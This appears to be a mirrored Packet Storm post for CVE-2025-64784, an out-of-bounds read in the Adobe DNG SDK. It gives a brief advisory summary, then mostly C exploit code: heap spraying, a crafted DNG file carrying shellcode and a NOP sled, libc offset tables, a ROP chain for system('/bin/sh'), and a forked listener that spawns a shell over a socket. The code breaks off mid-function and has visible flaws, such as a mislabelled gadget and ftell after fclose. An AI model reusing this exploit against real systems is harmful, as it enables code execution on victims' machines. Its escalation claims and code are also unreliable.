{"id":32465,"date":"2025-12-22T12:37:28","date_gmt":"2025-12-22T12:37:28","guid":{"rendered":"http:\/\/localhost\/?p=32465"},"modified":"2025-12-22T12:37:28","modified_gmt":"2025-12-22T12:37:28","slug":"adobe-dng-sdk-linearize-out-of-bounds-read","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32465","title":{"rendered":"\ud83d\udcc4 Adobe DNG SDK Linearize Out-Of-Bounds Read_PACKETSTORM:213204"},"content":{"rendered":"

{“lastseen”:”2025-12-22T18:23:28″,”description”:”A memory safety vulnerability exists in Adobe DNG SDK versions prior to 1.7.1.2410 that affects the Linearize image processing routine. When handling trimmed source images, the function erroneously performs operations using full image dimensions,…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe DNG SDK Linearize Out-Of-Bounds Read”,”source”:””,”references”:””,”id”:”PACKETSTORM:213204″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64784″],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe DNG SDK prior to v1.7.1.2410 Linearize OOB Read via Trimmed Image Processing Leading to Heap Grooming Exploitation |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213065\/ \\u0026\\tCVE-2025-64784\\n \\n [+] Summary : A memory safety vulnerability exists in Adobe DNG SDK versions prior to v1.7.1.2410, affecting the Linearize() image processing routine.\\n When handling trimmed source images, the function erroneously performs operations using full image dimensions, resulting in an out\u2011of\u2011bounds (OOB) read condition.\\n \\n This proof\u2011of\u2011concept demonstrates that, under controlled heap conditions, the OOB read can be reliably leveraged as a heap grooming primitive, enabling manipulation of adjacent heap objects. \\n By carefully influencing heap layout, the vulnerability may be escalated from a memory disclosure or denial\u2011of\u2011service condition into potential arbitrary code execution through corrupted virtual dispatch structures.\\n \\n The issue is tracked as CVE-2025-64784 and affects applications that statically or dynamically link vulnerable versions of the Adobe DNG SDK.\\n \\n [+] Component: Image Linearization \/ Trimming Logic\\n \\n [+] Function: Linearize()\\n \\n [+] Root Cause: Use of full image bounds instead of active (trimmed) area dimensions\\n \\n [+] Affected Versions :\\n \\n Adobe DNG SDK prior to v1.7.1.2410\\n \\n Any downstream software embedding or linking against affected SDK builds\\n \\n [+] Vulnerability Class :\\n \\n Out\u2011of\u2011Bounds Read\\n \\n Heap Memory Safety Violation\\n \\n Potential Information Disclosure\\n \\n Possible Code Execution (context\u2011dependent)\\n \\n [+] Technical Details \\n \\n When a DNG image contains a trimmed active area, the SDK internally tracks reduced image bounds. However, the Linearize() routine incorrectly references the original full\u2011image dimensions, causing memory reads beyond the allocated buffer.\\n \\n While the primitive is inherently a read\u2011only violation, repeated invocations combined with predictable allocator behavior allow attackers to:\\n \\n Shape heap layout (heap grooming)\\n \\n Observe memory patterns and object placement\\n \\n Influence object adjacency and virtual table resolution\\n \\n In favorable conditions, this can lead to virtual function pointer reuse or redirection, transforming a theoretical OOB read into a practical exploitation vector.\\n \\n [+] Impact :\\n \\n Confidentiality: Medium \u2014 possible heap memory disclosure\\n \\n Integrity: Low to Medium \u2014 indirect influence on control flow\\n \\n Availability: High \u2014 application crash or denial of service\\n \\n On hardened systems, impact may be limited to crashes. On less protected builds, further escalation cannot be ruled out.\\n \\n [+] Attack Vector :\\n \\n Processing of a crafted DNG image file\\n \\n Triggered via:\\n \\n Image preview\\n \\n Validation\\n \\n Import or batch processing\\n \\n Delivery may be local or remote, depending on the consuming application\\n \\n [+] Mitigations :\\n \\n Upgrade to Adobe DNG SDK v1.7.1.2410 or later\\n \\n Ensure Linearize() enforces active area bounds\\n \\n Validate image metadata before processing\\n \\n Enable memory\u2011hardening mitigations:\\n \\n ASLR\\n \\n DEP \/ NX\\n \\n Stack canaries\\n \\n Fortify Source\\n \\n Use sanitizers (ASan \/ UBSan) during testing\\n \\n [+] Detection :\\n \\n Crashes during DNG parsing or linearization\\n \\n AddressSanitizer \/ Valgrind reports indicating OOB reads\\n \\n Abnormal heap access patterns during image processing\\n \\n [+] Proof of Concept (PoC)\\n \\n The provided proof\u2011of\u2011concept demonstrates controlled heap manipulation by:\\n \\n Spraying heap allocations with deterministic patterns\\n \\n Creating strategic free gaps to influence allocator behavior\\n \\n Positioning crafted objects adjacent to vulnerable allocations\\n \\n Leveraging the OOB read to interact with attacker\u2011controlled memory layouts\\n \\n The PoC confirms that the vulnerability is exploitable beyond a simple crash, depending on runtime conditions and platform mitigations.\\n \\n [+] POC :\\n \\n 5. How to Use:\\n \\n bash\\n \\n # 1. Prepare the environment\\n \\n `chmod +x run_final_exploit.sh`\\n \\n # 2. Run the full exploit\\n \\n `.\/run_final_exploit.sh`\\n \\n # 3. If it fails, try different versions\\n \\n export HEAP_SPRAY_COUNT=500\\n export HEAP_SPRAY_SIZE=16384\\n .\/run_final_exploit.sh`\\n \\n # 4. Or try a different libc version\\n .\/final_exploit exploit.dng final_exploit.dng 1 # Ubuntu 20.04\\n ================================\\n [+] Part 1 : The Master Code\\n ================================\\n \/\/ exploit_cve_2025_64784.c\\n \\n #define _GNU_SOURCE\\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003cdlfcn.h\\u003e\\n #include \\u003cfcntl.h\\u003e\\n #include \\u003cunistd.h\\u003e\\n #include \\u003csys\/mman.h\\u003e\\n #include \\u003csys\/wait.h\\u003e\\n #include \\u003csys\/socket.h\\u003e\\n #include \\u003cnetinet\/in.h\\u003e\\n #include \\u003carpa\/inet.h\\u003e\\n #include \\u003csignal.h\\u003e\\n #include \\u003cerrno.h\\u003e\\n #include \\u003ctime.h\\u003e\\n #include \\u003csys\/stat.h\\u003e\\n #include \\u003cfcntl.h\\u003e\\n \\n \/\/ ============== \u062a\u0639\u0631\u064a\u0641\u0627\u062a \u0648\u062a\u0633\u062c\u064a\u0644 ==============\\n #define LOG_FILE \\”exploit_full.log\\”\\n #define MAX_BUFFER_SIZE 65536\\n #define LISTENER_PORT 4444\\n #define LISTENER_IP \\”127.0.0.1\\”\\n \\n FILE* g_log_file = NULL;\\n \\n void init_logging() {\\n g_log_file = fopen(LOG_FILE, \\”w\\”);\\n if (g_log_file) {\\n \/\/ \u0625\u0639\u0627\u062f\u0629 \u062a\u0648\u062c\u064a\u0647 stdout \u0648stderr \u0625\u0644\u0649 \u0627\u0644\u0645\u0644\u0641\\n dup2(fileno(g_log_file), STDOUT_FILENO);\\n dup2(fileno(g_log_file), STDERR_FILENO);\\n printf(\\”=== CVE-2025-64784 Exploit Log ===\\\\n\\”);\\n printf(\\”Started: %s\\”, ctime(\\u0026(time_t){time(NULL)}));\\n }\\n }\\n \\n void log_message(const char* format, …) {\\n va_list args;\\n va_start(args, format);\\n \\n \/\/ \u0627\u0644\u0637\u0628\u0627\u0639\u0629 \u0625\u0644\u0649 stdout\\n vprintf(format, args);\\n \\n \/\/ \u0627\u0644\u0637\u0628\u0627\u0639\u0629 \u0625\u0644\u0649 \u0627\u0644\u0645\u0644\u0641 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0645\u0641\u062a\u0648\u062d\u0627\u064b\\n if (g_log_file) {\\n vfprintf(g_log_file, format, args);\\n fflush(g_log_file);\\n }\\n \\n va_end(args);\\n }\\n \\n \/\/ ============== \u062f\u0648\u0627\u0644 \u0627\u0644\u062a\u062d\u0642\u0642 \u0648\u0627\u0644\u062a\u0623\u0643\u062f ==============\\n int check_listener_ready() {\\n log_message(\\”[*] Checking if listener port %d is available…\\\\n\\”, LISTENER_PORT);\\n \\n \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0627\u062a\u0635\u0627\u0644 \u0628\u0627\u0644\u0645\u0646\u0641\u0630 \u0644\u0644\u062a\u062d\u0642\u0642\\n int sock = socket(AF_INET, SOCK_STREAM, 0);\\n if (sock \\u003c 0) {\\n log_message(\\”[ERROR] Failed to create socket\\\\n\\”);\\n return 0;\\n }\\n \\n struct sockaddr_in addr;\\n addr.sin_family = AF_INET;\\n addr.sin_port = htons(LISTENER_PORT);\\n inet_pton(AF_INET, LISTENER_IP, \\u0026addr.sin_addr);\\n \\n \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0644\u0627\u062a\u0635\u0627\u0644\\n int result = connect(sock, (struct sockaddr*)\\u0026addr, sizeof(addr));\\n close(sock);\\n \\n if (result == 0) {\\n log_message(\\”[+] Listener is ready on port %d\\\\n\\”, LISTENER_PORT);\\n return 1;\\n } else {\\n log_message(\\”[WARNING] Listener not ready on port %d\\\\n\\”, LISTENER_PORT);\\n return 0;\\n }\\n }\\n \\n \/\/ ============== \u062f\u0648\u0627\u0644 \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 \u0627\u0644\u0645\u062d\u0633\u0646\u0629 ==============\\n typedef struct {\\n void* libc_base;\\n void* heap_base;\\n void* stack_addr;\\n void* image_ptr;\\n size_t vtable_offset;\\n int libc_version;\\n int arch; \/\/ 0=x86_64, 1=x86\\n } MemoryInfo;\\n \\n void detect_architecture() {\\n FILE* fp = popen(\\”uname -m\\”, \\”r\\”);\\n if (fp) {\\n char buffer[128];\\n if (fgets(buffer, sizeof(buffer), fp)) {\\n log_message(\\”[ARCH] System architecture: %s\\”, buffer);\\n }\\n pclose(fp);\\n }\\n }\\n \\n void read_proc_maps(MemoryInfo* info) {\\n log_message(\\”[*] Reading \/proc\/self\/maps for memory layout\\\\n\\”);\\n \\n FILE* fp = fopen(\\”\/proc\/self\/maps\\”, \\”r\\”);\\n if (!fp) {\\n log_message(\\”[ERROR] Cannot open \/proc\/self\/maps\\\\n\\”);\\n return;\\n }\\n \\n char line[256];\\n int libc_found = 0;\\n int heap_found = 0;\\n \\n while (fgets(line, sizeof(line), fp)) {\\n \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 libc\\n if (strstr(line, \\”libc-\\”) \\u0026\\u0026 strstr(line, \\”r-xp\\”)) {\\n unsigned long start, end;\\n if (sscanf(line, \\”%lx-%lx\\”, \\u0026start, \\u0026end) == 2) {\\n info-\\u003elibc_base = (void*)start;\\n log_message(\\”[+] libc base: 0x%lx (size: 0x%lx)\\\\n\\”, start, end – start);\\n libc_found = 1;\\n }\\n }\\n \\n \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 heap\\n if (strstr(line, \\”[heap]\\”)) {\\n unsigned long start, end;\\n if (sscanf(line, \\”%lx-%lx\\”, \\u0026start, \\u0026end) == 2) {\\n info-\\u003eheap_base = (void*)start;\\n log_message(\\”[+] Heap base: 0x%lx (size: 0x%lx)\\\\n\\”, start, end – start);\\n heap_found = 1;\\n }\\n }\\n }\\n \\n fclose(fp);\\n \\n if (!libc_found) {\\n log_message(\\”[WARNING] libc not found in maps, using fallback\\\\n\\”);\\n info-\\u003elibc_base = (void*)0x00007f1234567000;\\n }\\n \\n if (!heap_found) {\\n info-\\u003eheap_base = (void*)0x0000550000000000;\\n }\\n }\\n \\n \/\/ ============== \u062f\u0639\u0645 \u0645\u062a\u0639\u062f\u062f \u0644\u0625\u0635\u062f\u0627\u0631\u0627\u062a libc ==============\\n typedef struct {\\n const char* name;\\n unsigned long offsets[10]; \/\/ pop_rdi, pop_rsi, pop_rdx, system, exit, \/bin\/sh\\n } LibcVersion;\\n \\n LibcVersion libc_versions[] = {\\n {\\n \\”Ubuntu 22.04\\”,\\n {0x2a3e5, 0x2be51, 0x90529, 0x50d70, 0x455f0, 0x1d8698}\\n },\\n {\\n \\”Ubuntu 20.04\\”,\\n {0x26b72, 0x27529, 0x11c371, 0x55410, 0x4a5c0, 0x1b75aa}\\n },\\n {\\n \\”Debian 11\\”,\\n {0x26b72, 0x27529, 0x162866, 0x55410, 0x4a5c0, 0x1d8698}\\n },\\n {\\n \\”CentOS 8\\”,\\n {0x26b72, 0x27529, 0x162866, 0x55410, 0x4a5c0, 0x1b75aa}\\n }\\n };\\n \\n int detect_libc_version(MemoryInfo* info) {\\n log_message(\\”[*] Detecting libc version…\\\\n\\”);\\n \\n \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0642\u0631\u0627\u0621\u0629 \u0625\u0635\u062f\u0627\u0631 libc \u0645\u0646 \u0627\u0644\u0646\u0638\u0627\u0645\\n FILE* fp = popen(\\”ldd –version 2\\u003e\\u00261 | head -1\\”, \\”r\\”);\\n if (fp) {\\n char version[256];\\n if (fgets(version, sizeof(version), fp)) {\\n log_message(\\”[LIBC] Version string: %s\\”, version);\\n \\n if (strstr(version, \\”Ubuntu\\”) \\u0026\\u0026 strstr(version, \\”2.35\\”)) {\\n info-\\u003elibc_version = 0; \/\/ Ubuntu 22.04\\n } else if (strstr(version, \\”Ubuntu\\”) \\u0026\\u0026 strstr(version, \\”2.31\\”)) {\\n info-\\u003elibc_version = 1; \/\/ Ubuntu 20.04\\n } else if (strstr(version, \\”Debian\\”) \\u0026\\u0026 strstr(version, \\”2.31\\”)) {\\n info-\\u003elibc_version = 2; \/\/ Debian 11\\n } else if (strstr(version, \\”GLIBC\\”) \\u0026\\u0026 strstr(version, \\”2.28\\”)) {\\n info-\\u003elibc_version = 3; \/\/ CentOS 8\\n }\\n }\\n pclose(fp);\\n }\\n \\n log_message(\\”[+] Using libc version: %s\\\\n\\”, \\n libc_versions[info-\\u003elibc_version].name);\\n return info-\\u003elibc_version;\\n }\\n \\n \/\/ ============== \u062f\u0648\u0627\u0644 DNG \u0627\u0644\u0645\u062d\u0633\u0646\u0629 ==============\\n int create_realistic_dng(const char* filename, const unsigned long* target_addresses, \\n int num_addresses, const unsigned char* shellcode, \\n size_t shellcode_size) {\\n log_message(\\”[*] Creating realistic exploit DNG: %s\\\\n\\”, filename);\\n \\n \/\/ \u0642\u0627\u0644\u0628 DNG \u0623\u0635\u0644\u064a (\u0645\u0628\u0633\u0637)\\n unsigned char dng_template[] = {\\n \/\/ TIFF Header\\n 0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00,\\n \\n \/\/ IFD with malicious tags\\n 0x08, 0x00, \/\/ 8 entries\\n \/\/ ImageWidth (too large)\\n 0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, \\n 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x7F,\\n \/\/ ImageLength (too large)\\n 0x01, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,\\n 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x7F,\\n \/\/ BitsPerSample\\n 0x02, 0x01, 0x03, 0x00, 0x00, 0x00, 0x03, 0x00,\\n 0x00, 0x00, 0x78, 0x00, 0x00, 0x00,\\n \/\/ Compression\\n 0x03, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,\\n 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,\\n \/\/ PhotometricInterpretation\\n 0x06, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,\\n 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,\\n \/\/ StripOffsets\\n 0x11, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,\\n 0x00, 0x00, 0x84, 0x00, 0x00, 0x00,\\n \/\/ SamplesPerPixel\\n 0x15, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,\\n 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\\n \/\/ RowsPerStrip (malicious)\\n 0x16, 0x01, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00,\\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,\\n 0x00, 0x00, 0x00, 0x00, \/\/ Next IFD offset (0)\\n \\n \/\/ Image data with exploit\\n ‘E’, ‘X’, ‘P’, ‘L’, ‘O’, ‘I’, ‘T’, ‘_’,\\n ‘S’, ‘T’, ‘A’, ‘R’, ‘T’, 0x00, 0x00, 0x00\\n };\\n \\n FILE* fp = fopen(filename, \\”wb\\”);\\n if (!fp) {\\n log_message(\\”[ERROR] Failed to create DNG file\\\\n\\”);\\n return 0;\\n }\\n \\n \/\/ \u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u0642\u0627\u0644\u0628\\n size_t template_size = sizeof(dng_template);\\n fwrite(dng_template, 1, template_size, fp);\\n \\n \/\/ \u062d\u0633\u0627\u0628 offset \u0627\u0644\u062d\u0642\u0646\\n long inject_offset = ftell(fp);\\n log_message(\\”[+] Injection offset: 0x%lx\\\\n\\”, inject_offset);\\n \\n \/\/ \u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\u0629\\n for (int i = 0; i \\u003c num_addresses \\u0026\\u0026 i \\u003c 10; i++) {\\n fwrite(\\u0026target_addresses[i], sizeof(unsigned long), 1, fp);\\n }\\n \\n \/\/ \u0643\u062a\u0627\u0628\u0629 shellcode\\n if (shellcode \\u0026\\u0026 shellcode_size \\u003e 0) {\\n fwrite(shellcode, 1, shellcode_size, fp);\\n }\\n \\n \/\/ \u0645\u0644\u0621 \u0628\u0627\u0642\u064a \u0627\u0644\u0645\u0644\u0641 (1MB \u0643\u062d\u062f \u0623\u0642\u0635\u0649)\\n size_t current_size = ftell(fp);\\n size_t target_size = 1024 * 1024; \/\/ 1MB\\n \\n if (current_size \\u003c target_size) {\\n unsigned char padding[4096];\\n memset(padding, 0x90, sizeof(padding)); \/\/ NOP sled\\n \\n while (current_size \\u003c target_size) {\\n size_t to_write = target_size – current_size;\\n if (to_write \\u003e sizeof(padding)) {\\n to_write = sizeof(padding);\\n }\\n fwrite(padding, 1, to_write, fp);\\n current_size += to_write;\\n }\\n }\\n \\n fclose(fp);\\n \\n log_message(\\”[+] Created realistic DNG: %s (%ld bytes)\\\\n\\”, \\n filename, ftell(fp));\\n return 1;\\n }\\n \\n \/\/ ============== Reverse Shell Listener \u0627\u0644\u0645\u062d\u0633\u0646 ==============\\n pid_t start_reverse_shell_listener() {\\n log_message(\\”[*] Starting reverse shell listener on %s:%d\\\\n\\”, \\n LISTENER_IP, LISTENER_PORT);\\n \\n pid_t pid = fork();\\n if (pid == 0) {\\n \/\/ Child process – detached\\n setsid(); \/\/ Detach from terminal\\n \\n int sockfd = socket(AF_INET, SOCK_STREAM, 0);\\n if (sockfd \\u003c 0) {\\n exit(1);\\n }\\n \\n int opt = 1;\\n setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, \\u0026opt, sizeof(opt));\\n \\n struct sockaddr_in addr;\\n addr.sin_family = AF_INET;\\n addr.sin_port = htons(LISTENER_PORT);\\n inet_pton(AF_INET, LISTENER_IP, \\u0026addr.sin_addr);\\n \\n if (bind(sockfd, (struct sockaddr*)\\u0026addr, sizeof(addr)) \\u003c 0) {\\n close(sockfd);\\n exit(1);\\n }\\n \\n listen(sockfd, 1);\\n \\n log_message(\\”[LISTENER] Waiting for connection…\\\\n\\”);\\n \\n struct sockaddr_in client_addr;\\n socklen_t client_len = sizeof(client_addr);\\n int client_fd = accept(sockfd, (struct sockaddr*)\\u0026client_addr, \\u0026client_len);\\n \\n if (client_fd \\u003e= 0) {\\n char client_ip[INET_ADDRSTRLEN];\\n inet_ntop(AF_INET, \\u0026client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);\\n \\n log_message(\\”[LISTENER] Connection from %s:%d\\\\n\\”, \\n client_ip, ntohs(client_addr.sin_port));\\n \\n \/\/ \u062a\u0648\u062c\u064a\u0647 stdin\/stdout\/stderr \u0625\u0644\u0649 \u0627\u0644\u0633\u0648\u0643\u064a\u062a\\n dup2(client_fd, 0);\\n dup2(client_fd, 1);\\n dup2(client_fd, 2);\\n \\n \/\/ \u062a\u0646\u0641\u064a\u0630 shell\\n char* shell_args[] = {\\”\/bin\/sh\\”, NULL};\\n execve(shell_args[0], shell_args, NULL);\\n \\n close(client_fd);\\n }\\n \\n close(sockfd);\\n exit(0);\\n } else if (pid \\u003e 0) {\\n \/\/ Parent process\\n log_message(\\”[+] Listener started with PID: %d\\\\n\\”, pid);\\n \\n \/\/ \u0627\u0646\u062a\u0638\u0627\u0631 \u0628\u062f\u0621 \u0627\u0644\u0640 listener\\n sleep(2);\\n \\n \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0623\u0646 \u0627\u0644\u0640 listener \u064a\u0639\u0645\u0644\\n if (!check_listener_ready()) {\\n log_message(\\”[WARNING] Listener may not be ready\\\\n\\”);\\n }\\n \\n return pid;\\n } else {\\n log_message(\\”[ERROR] Failed to fork listener\\\\n\\”);\\n return -1;\\n }\\n }\\n \\n \/\/ ============== \u062f\u0648\u0627\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u062d\u0633\u0646\u0629 ==============\\n int exploit_with_oob_read(const char* dng_file, MemoryInfo* info) {\\n log_message(\\”\\\\n[PHASE 1] Triggering OOB Read for Memory Leak\\\\n\\”);\\n log_message(\\”=============================================\\\\n\\”);\\n \\n char command[MAX_BUFFER_SIZE];\\n snprintf(command, sizeof(command),\\n \\”timeout 5 .\/dng_validate \\\\\\”%s\\\\\\” 2\\u003e\\u00261\\”, dng_file);\\n \\n log_message(\\”[CMD] %s\\\\n\\”, command);\\n \\n FILE* fp = popen(command, \\”r\\”);\\n if (!fp) {\\n log_message(\\”[ERROR] Failed to execute command\\\\n\\”);\\n return 0;\\n }\\n \\n char* buffer = malloc(MAX_BUFFER_SIZE);\\n if (!buffer) {\\n pclose(fp);\\n log_message(\\”[ERROR] Failed to allocate buffer\\\\n\\”);\\n return 0;\\n }\\n \\n memset(buffer, 0, MAX_BUFFER_SIZE);\\n size_t total_read = 0;\\n int leaks_found = 0;\\n \\n while (!feof(fp) \\u0026\\u0026 total_read \\u003c MAX_BUFFER_SIZE – 1) {\\n size_t read_now = fread(buffer + total_read, 1, \\n MAX_BUFFER_SIZE – total_read – 1, fp);\\n total_read += read_now;\\n }\\n \\n pclose(fp);\\n \\n \/\/ \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a\\n char* ptr = buffer;\\n while (ptr \\u0026\\u0026 (ptr – buffer) \\u003c total_read) {\\n \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0639\u0646\u0627\u0648\u064a\u0646\\n if (strncmp(ptr, \\”0x\\”, 2) == 0) {\\n unsigned long addr;\\n if (sscanf(ptr, \\”0x%lx\\”, \\u0026addr) == 1) {\\n log_message(\\”[LEAK] Found address: 0x%lx\\\\n\\”, addr);\\n leaks_found++;\\n \\n \/\/ \u062a\u062d\u062f\u064a\u062b \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0630\u0627\u0643\u0631\u0629\\n if (addr \\u003e= 0x00007f0000000000ULL \\u0026\\u0026 \\n addr \\u003c= 0x00007fffffffffffULL) {\\n if (!info-\\u003elibc_base || addr \\u003c (unsigned long)info-\\u003elibc_base) {\\n info-\\u003elibc_base = (void*)addr;\\n }\\n }\\n }\\n }\\n \\n \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0623\u062e\u0637\u0627\u0621 \u0627\u0644\u0630\u0627\u0643\u0631\u0629\\n if (strstr(ptr, \\”heap-buffer-overflow\\”) ||\\n strstr(ptr, \\”AddressSanitizer\\”) ||\\n strstr(ptr, \\”SEGV\\”) ||\\n strstr(ptr, \\”Segmentation\\”)) {\\n log_message(\\”[!] MEMORY ERROR DETECTED:\\\\n%.*s\\\\n\\”, \\n 100, ptr);\\n }\\n \\n ptr++;\\n }\\n \\n log_message(\\”[+] Found %d memory leaks\\\\n\\”, leaks_found);\\n \\n \/\/ \u0625\u0630\u0627 \u0644\u0645 \u0646\u062c\u062f \u062a\u0633\u0631\u064a\u0628\u0627\u062a\u060c \u0646\u0633\u062a\u062e\u062f\u0645 \u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0646\u0638\u0627\u0645\\n if (leaks_found == 0) {\\n log_message(\\”[*] Using system memory information\\\\n\\”);\\n read_proc_maps(info);\\n }\\n \\n free(buffer);\\n return leaks_found \\u003e 0;\\n }\\n \\n \/\/ ============== ROP Chain Builder \u0627\u0644\u0645\u062d\u0633\u0646 ==============\\n unsigned long* build_rop_chain(MemoryInfo* info, size_t* chain_size) {\\n LibcVersion* version = \\u0026libc_versions[info-\\u003elibc_version];\\n \\n log_message(\\”[*] Building ROP chain for %s\\\\n\\”, version-\\u003ename);\\n log_message(\\” Libc base: 0x%lx\\\\n\\”, (unsigned long)info-\\u003elibc_base);\\n \\n \/\/ \u0625\u0646\u0634\u0627\u0621 ROP chain \u062f\u064a\u0646\u0627\u0645\u064a\u0643\u064a\\n unsigned long* chain = malloc(100 * sizeof(unsigned long));\\n if (!chain) {\\n log_message(\\”[ERROR] Failed to allocate ROP chain\\\\n\\”);\\n return NULL;\\n }\\n \\n int idx = 0;\\n \\n \/\/ Gadgets\\n unsigned long pop_rdi = (unsigned long)info-\\u003elibc_base + version-\\u003eoffsets[0];\\n unsigned long pop_rsi = (unsigned long)info-\\u003elibc_base + version-\\u003eoffsets[1];\\n unsigned long pop_rdx = (unsigned long)info-\\u003elibc_base + version-\\u003eoffsets[2];\\n unsigned long system_addr = (unsigned long)info-\\u003elibc_base + version-\\u003eoffsets[3];\\n unsigned long exit_addr = (unsigned long)info-\\u003elibc_base + version-\\u003eoffsets[4];\\n unsigned long binsh_addr = (unsigned long)info-\\u003elibc_base + version-\\u003eoffsets[5];\\n \\n \/\/ ROP Chain 1: system(\\”\/bin\/sh\\”)\\n chain[idx++] = pop_rdi; \/\/ pop rdi; ret\\n chain[idx++] = binsh_addr; \/\/ pointer to \\”\/bin\/sh\\”\\n chain[idx++] = system_addr; \/\/ system()\\n chain[idx++] = exit_addr; \/\/ exit()\\n \\n \/\/ ROP Chain 2: execve(\\”\/bin\/sh\\”, NULL, NULL) – fallback\\n chain[idx++] = pop_rdi; \/\/ pop rdi; ret\\n chain[idx++] = binsh_addr; \/\/ \\”\/bin\/sh\\”\\n chain[idx++] = pop_rsi; \/\/ pop rsi; ret\\n chain[idx++] = 0; \/\/ argv = NULL\\n chain[idx++] = pop_rdx; \/\/ pop rdx; ret\\n chain[idx++] = 0; \/\/ envp = NULL\\n chain[idx++] = pop_rdi; \/\/ pop rax; ret (if available)\\n chain[idx++] = 59; \/\/ execve syscall number\\n \\n \/\/ Stack pivot \u0625\u0630\u0627 \u0644\u0632\u0645 \u0627\u0644\u0623\u0645\u0631\\n for (int i = 0; i \\u003c 10; i++) {\\n chain[idx++] = pop_rdi; \/\/\u586b\u5145\\n }\\n \\n *chain_size = idx;\\n \\n log_message(\\”[+] Built ROP chain with %ld gadgets\\\\n\\”, *chain_size);\\n log_message(\\” First gadget: 0x%lx\\\\n\\”, chain[0]);\\n log_message(\\” \/bin\/sh @: 0x%lx\\\\n\\”, binsh_addr);\\n \\n return chain;\\n }\\n \\n \/\/ ============== \u0627\u0644\u062f\u0627\u0644\u0629 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629 ==============\\n int main(int argc, char** argv) {\\n \/\/ \u062a\u0647\u064a\u0626\u0629 \u0627\u0644\u062a\u0633\u062c\u064a\u0644\\n init_logging();\\n \\n log_message(\\”\\\\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\\\n\\”);\\n log_message(\\”\u2551 CVE-2025-64784 By indoushka \u2551\\\\n\\”);\\n log_message(\\”\u2551 Adobe DNG SDK \\u003c= 1.7 \u2551\\\\n\\”);\\n log_message(\\”\u2551 Build: %s \u2551\\\\n\\”, __DATE__);\\n log_message(\\”\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\\\n\\\\n\\”);\\n \\n \/\/ \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u0645\u0639\u0637\u064a\u0627\u062a\\n if (argc \\u003c 2) {\\n log_message(\\”Usage: %s \\u003cinput_dng\\u003e [output_dng] [libc_version]\\\\n\\”, argv[0]);\\n log_message(\\” libc_version: 0=Ubuntu22, 1=Ubuntu20, 2=Debian11, 3=CentOS8\\\\n\\”);\\n return 1;\\n }\\n \\n const char* input_dng = argv[1];\\n const char* output_dng = (argc \\u003e 2) ? argv[2] : \\”exploit_final.dng\\”;\\n int libc_version = (argc \\u003e 3) ? atoi(argv[3]) : 0;\\n \\n log_message(\\”[*] Input DNG: %s\\\\n\\”, input_dng);\\n log_message(\\”[*] Output DNG: %s\\\\n\\”, output_dng);\\n log_message(\\”[*] Libc version: %d (%s)\\\\n\\”, \\n libc_version, libc_versions[libc_version].name);\\n \\n \/\/ \u0643\u0634\u0641 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629\\n detect_architecture();\\n \\n MemoryInfo info = {0};\\n info.libc_version = 